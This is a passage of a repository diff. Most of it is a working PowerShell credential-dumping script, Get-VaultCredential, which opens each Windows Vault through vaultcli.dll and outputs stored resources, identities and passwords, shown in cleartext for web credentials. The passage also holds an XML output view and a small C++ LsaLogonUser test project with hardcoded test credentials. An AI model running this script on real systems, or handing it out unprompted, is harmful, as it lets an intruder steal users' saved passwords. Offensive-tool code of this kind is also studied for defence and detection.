inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt
.EXAMPLE
Get-VaultCredential
.NOTES
Only web credentials can be displayed in cleartext.
#>
[CmdletBinding()] Param()
$OSVersion = [Environment]::OSVersion.Version
$OSMajor = $OSVersion.Major
$OSMinor = $OSVersion.Minor
#region P/Invoke declarations for vaultcli.dll
$DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False)
$EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32])
$null = $EnumBuilder.DefineLiteral('Undefined', -1)
$null = $EnumBuilder.DefineLiteral('Boolean', 0)
$null = $EnumBuilder.DefineLiteral('Short', 1)
$null = $EnumBuilder.DefineLiteral('UnsignedShort', 2)
$null = $EnumBuilder.DefineLiteral('Int', 3)
$null = $EnumBuilder.DefineLiteral('UnsignedInt', 4)
$null = $EnumBuilder.DefineLiteral('Double', 5)
$null = $EnumBuilder.DefineLiteral('Guid', 6)
$null = $EnumBuilder.DefineLiteral('String', 7)
$null = $EnumBuilder.DefineLiteral('ByteArray', 8)
$null = $EnumBuilder.DefineLiteral('TimeStamp', 9)
$null = $EnumBuilder.DefineLiteral('ProtectedArray', 10)
$null = $EnumBuilder.DefineLiteral('Attribute', 11)
$null = $EnumBuilder.DefineLiteral('Sid', 12)
$null = $EnumBuilder.DefineLiteral('Last', 13)
$VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType()
$EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32])
$null = $EnumBuilder.DefineLiteral('Illegal', 0)
$null = $EnumBuilder.DefineLiteral('Resource', 1)
$null = $EnumBuilder.DefineLiteral('Identity', 2)
$null = $EnumBuilder.DefineLiteral('Authenticator', 3)
$null = $EnumBuilder.DefineLiteral('Tag', 4)
$null = $EnumBuilder.DefineLiteral('PackageSid', 5)
$null = $EnumBuilder.DefineLiteral('AppStart', 100)
$null = $EnumBuilder.DefineLiteral('AppEnd', 10000)
$VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType()
$LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind])
$CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet')
$StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor,
@([Runtime.InteropServices.LayoutKind]::Explicit),
$CharsetField,
@([Runtime.InteropServices.CharSet]::Ansi))
$StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4)
$null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public')
$null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public')
if ($OSMajor -ge 6 -and $OSMinor -ge 2)
{
$null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public')
}
$null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public')
$null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public')
$null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public')
$null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public')
$VAULT_ITEM = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes)
$TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute)
$null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0)
$null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8)
$VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Guid].MakeByRefType(),
[UInt32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Int32],
[Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Int32],
[Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
if ($OSMajor -ge 6 -and $OSMinor -ge 2)
{
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Guid].MakeByRefType(),
[IntPtr],
[IntPtr],
[IntPtr],
[IntPtr],
[Int32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
}
else
{
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Guid].MakeByRefType(),
[IntPtr],
[IntPtr],
[IntPtr],
[Int32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
}
$Vaultcli = $TypeBuilder.CreateType()
#endregion
# Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct.
function local:Get-VaultElementValue
{
Param (
[ValidateScript({$_ -ne [IntPtr]::Zero})]
[IntPtr]
$VaultElementPtr
)
$PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT)
$ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16)
switch ($PartialElement.Type)
{
$VAULT_ELEMENT_TYPE::String {
$StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
[Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr)
}
$VAULT_ELEMENT_TYPE::Boolean {
[Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Short {
[Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::UnsignedShort {
[Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Int {
[Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::UnsignedInt {
[Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Double {
[Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double])
}
$VAULT_ELEMENT_TYPE::Guid {
[Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid])
}
$VAULT_ELEMENT_TYPE::Sid {
$SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
Write-Verbose "0x$($SidPtr.ToString('X8'))"
$SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr)
$SidObject.Value
}
# These elements are currently unimplemented.
# I have yet to see these used in practice.
$VAULT_ELEMENT_TYPE::ByteArray { $null }
$VAULT_ELEMENT_TYPE::TimeStamp { $null }
$VAULT_ELEMENT_TYPE::ProtectedArray { $null }
$VAULT_ELEMENT_TYPE::Attribute { $null }
$VAULT_ELEMENT_TYPE::Last { $null }
}
}
$VaultCount = 0
$VaultGuidPtr = [IntPtr]::Zero
$Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr)
if ($Result -ne 0)
{
throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))"
}
$GuidAddress = $VaultGuidPtr
$VaultSchema = @{
([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note'
([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential'
([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector'
([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials'
([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials'
([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential'
([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential'
([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential'
([Guid] '00000000-0000-0000-0000-000000000000') = $null
}
if ($VaultCount)
{
foreach ($i in 1..$VaultCount)
{
$VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid])
$GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid]))
$VaultHandle = [IntPtr]::Zero
Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))"
$Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle)
if ($Result -ne 0)
{
Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
continue
}
$VaultItemCount = 0
$VaultItemPtr = [IntPtr]::Zero
$Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr)
if ($Result -ne 0)
{
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
continue
}
$StructAddress = $VaultItemPtr
if ($VaultItemCount)
{
foreach ($j in 1..$VaultItemCount)
{
$CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM)
$StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM))
$PasswordVaultItem = [IntPtr]::Zero
if ($OSMajor -ge 6 -and $OSMinor -ge 2)
{
$Result = $Vaultcli::VaultGetItem($VaultHandle,
[Ref] $CurrentItem.SchemaId,
$CurrentItem.pResourceElement,
$CurrentItem.pIdentityElement,
$CurrentItem.pPackageSid,
[IntPtr]::Zero,
0,
[Ref] $PasswordVaultItem)
}
else
{
$Result = $Vaultcli::VaultGetItem($VaultHandle,
[Ref] $CurrentItem.SchemaId,
$CurrentItem.pResourceElement,
$CurrentItem.pIdentityElement,
[IntPtr]::Zero,
0,
[Ref] $PasswordVaultItem)
}
$PasswordItem = $null
if ($Result -ne 0)
{
Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))"
continue
}
else
{
$PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM)
}
if ($VaultSchema.ContainsKey($VaultGuid))
{
$VaultType = $VaultSchema[$VaultGuid]
}
else
{
$VaultType = $VaultGuid
}
if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero)
{
$Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement
}
else
{
$Credential = $null
}
$PackageSid = $null
if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero))
{
$PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid
}
$Properties = @{
Vault = $VaultType
Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null }
Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null }
PackageSid = $PackageSid
Credential = $Credential
LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified)
}
$VaultItem = New-Object PSObject -Property $Properties
$VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM'
$VaultItem
$null = $Vaultcli::VaultFree($PasswordVaultItem)
}
}
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
}
}
}
+37
View File
@@ -0,0 +1,37 @@
<?xml version="1.0" encoding="utf-8" ?>
<Configuration>
<ViewDefinitions>
<View>
<Name>VaultItemView</Name>
<ViewSelectedBy>
<TypeName>VAULTCLI.VAULTITEM</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Vault</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Resource</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Identity</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Credential</PropertyName>
</ListItem>
<ListItem>
<PropertyName>PackageSid</PropertyName>
</ListItem>
<ListItem>
<PropertyName>LastModified</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
</ViewDefinitions>
</Configuration>
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,26 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "logon", "logon\logon.vcxproj", "{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.ActiveCfg = Debug|Win32
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.Build.0 = Debug|Win32
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.ActiveCfg = Debug|x64
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.Build.0 = Debug|x64
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.ActiveCfg = Release|Win32
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.Build.0 = Release|Win32
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.ActiveCfg = Release|x64
{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,137 @@
// LogonUser.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
using namespace std;
size_t wcsByteLen( const wchar_t* str );
void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset );
PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size);
size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset);
int _tmain(int argc, _TCHAR* argv[])
{
//Get a handle to LSA
HANDLE hLSA = NULL;
NTSTATUS status = LsaConnectUntrusted(&hLSA);
if (status != 0)
{
cout << "Error calling LsaConnectUntrusted. Error code: " << status << endl;
return -1;
}
if (hLSA == NULL)
{
cout << "hLSA is NULL, this shouldn't ever happen" << endl;
return -1;
}
//Build LsaLogonUser parameters
LSA_STRING originName = {};
char originNameStr[] = "qpqp";
originName.Buffer = originNameStr;
originName.Length = (USHORT)strlen(originNameStr);
originName.MaximumLength = originName.Length;
ULONG authPackage = 0;
PLSA_STRING authPackageName = new LSA_STRING();
char authPackageBuf[] = MSV1_0_PACKAGE_NAME;
authPackageName->Buffer = authPackageBuf;
authPackageName->Length = (USHORT)strlen(authPackageBuf);
authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf);
status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage);
if (status != 0)
{
int winError = LsaNtStatusToWinError(status);
cout << "Call to LsaLookupAuthenticationPackage failed. Error code: " << winError;
return -1;
}
DWORD authBufferSize = 0;
PVOID authBuffer = CreateNtlmLogonStructure(L"VMWORKSTATION", L"testuser", L"Password1", &authBufferSize);
cout << "authBufferSize: " << authBufferSize << endl;
//Get TokenSource
HANDLE hProcess = GetCurrentProcess();//todo
HANDLE procToken = NULL;
BOOL success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken);
if (!success)
{
DWORD errorCode = GetLastError();
cout << "Call to OpenProcessToken failed. Errorcode: " << errorCode << endl;
return -1;
}
TOKEN_SOURCE tokenSource = {};
DWORD realSize = 0;
success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize);
if (!success)
{
cout << "Call to GetTokenInformation failed." << endl;
return -1;
}
//Misc
PVOID profileBuffer = NULL;
ULONG profileBufferSize = 0;
LUID loginId;
HANDLE token = NULL;
QUOTA_LIMITS quotaLimits;
NTSTATUS subStatus = 0;
status = LsaLogonUser(hLSA,
&originName,
RemoteInteractive,
authPackage,
authBuffer,
authBufferSize,
0,
&tokenSource,
&profileBuffer,
&profileBufferSize,
&loginId,
&token,
&quotaLimits,
&subStatus);
if (status != 0)
{
NTSTATUS winError = LsaNtStatusToWinError(status);
cout << "Error calling LsaLogonUser. Error code: " << winError << endl;
return -1;
}
cout << "Success!" << endl;
return 1;
}
//size will be set to the size of the structure created
PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size)
{
size_t wcharSize = sizeof(wchar_t);
size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((domain.length() + username.length() + password.length()) * wcharSize);
MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]);
size_t offset = sizeof(MSV1_0_INTERACTIVE_LOGON);
ntlmLogon->MessageType = MsV1_0InteractiveLogon;
offset += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), ntlmLogon, offset);
offset += WriteUnicodeString(username, &(ntlmLogon->UserName), ntlmLogon, offset);
offset += WriteUnicodeString(password, &(ntlmLogon->Password), ntlmLogon, offset);
*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
return ntlmLogon;
}
size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset)
{
const wchar_t* buffer = str.c_str();
size_t size = str.length() * sizeof(wchar_t);
uniStr->Length = (USHORT)size;
uniStr->MaximumLength = (USHORT)size;
uniStr->Buffer = (PWSTR)((UINT_PTR)baseAddress + offset);
memcpy((PVOID)((UINT_PTR)baseAddress + offset), str.c_str(), size);
return size;
}
@@ -0,0 +1,158 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{F9DC2AAF-2213-4D87-9F52-283DA1CC6E18}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>LogonUser</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="LogonUser.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,36 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="LogonUser.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,40 @@
========================================================================
CONSOLE APPLICATION : LogonUser Project Overview
========================================================================
AppWizard has created this LogonUser application for you.
This file contains a summary of what you will find in each of the files that
